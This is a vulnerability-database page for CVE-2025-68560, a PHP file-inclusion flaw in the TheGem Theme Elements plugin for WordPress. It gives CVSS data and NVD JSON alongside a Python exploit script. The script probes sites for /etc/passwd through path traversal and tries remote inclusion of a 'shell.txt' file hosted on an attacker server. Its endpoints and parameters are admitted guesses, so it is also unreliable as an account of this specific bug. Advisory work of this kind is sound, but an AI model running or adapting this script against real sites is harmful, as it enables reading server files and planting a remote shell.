Security Vulnerability Report
中文
CVE-2025-68560 CVSS 7.5 HIGH

CVE-2025-68560

Published: 2025-12-23 12:15:46
Last Modified: 2026-04-23 15:36:01

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in CodexThemes TheGem Theme Elements (for Elementor) thegem-elements-elementor.This issue affects TheGem Theme Elements (for Elementor): from n/a through <= 5.10.5.1.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

TheGem Theme Elements (for Elementor) <= 5.10.5.1
TheGem Elements for Elementor plugin < 5.10.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68560 PoC - TheGem Theme Elements Local File Inclusion / Remote File Inclusion # Affected: TheGem Theme Elements (for Elementor) <= 5.10.5.1 # Type: PHP Remote File Inclusion import requests import sys def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-68560""" # Common vulnerable endpoints in TheGem Elements vulnerable_paths = [ '/wp-content/plugins/thegem-elements-elementor/templates/', '/wp-content/plugins/thegem-elements-elementor/includes/', '/wp-content/plugins/thegem-elements-elementor/' ] # Test parameters commonly used in file inclusion test_params = ['file', 'template', 'page', 'view', 'action', 'controller'] for path in vulnerable_paths: for param in test_params: # Try local file inclusion test test_url = f"{target_url}{path}?{param}=../../../../../../etc/passwd" try: response = requests.get(test_url, timeout=10) # Check for LFI indicators if 'root:' in response.text or 'daemon:' in response.text: print(f"[+] LFI Vulnerable: {test_url}") return True except requests.RequestException: pass # Try RFI test (if allow_url_include is enabled) if len(sys.argv) > 2: attacker_server = sys.argv[2] rfi_url = f"{target_url}{vulnerable_paths[0]}?{test_params[0]}={attacker_server}/shell.txt" try: response = requests.get(rfi_url, timeout=10) if response.status_code == 200: print(f"[+] RFI Test Sent: {rfi_url}") return True except requests.RequestException: pass return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-68560_poc.py <target_url> [attacker_server]") print("Example: python cve-2025-68560_poc.py http://target.com") sys.exit(1) target = sys.argv[1] print(f"[*] Scanning {target} for CVE-2025-68560...") if check_vulnerability(target): print("[+] Target appears to be vulnerable!") else: print("[-] Target does not appear to be vulnerable or is already patched.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68560", "sourceIdentifier": "[email protected]", "published": "2025-12-23T12:15:46.430", "lastModified": "2026-04-23T15:36:01.487", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in CodexThemes TheGem Theme Elements (for Elementor) thegem-elements-elementor.This issue affects TheGem Theme Elements (for Elementor): from n/a through <= 5.10.5.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/thegem-elements-elementor/vulnerability/wordpress-thegem-theme-elements-for-elementor-plugin-5-10-5-1-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}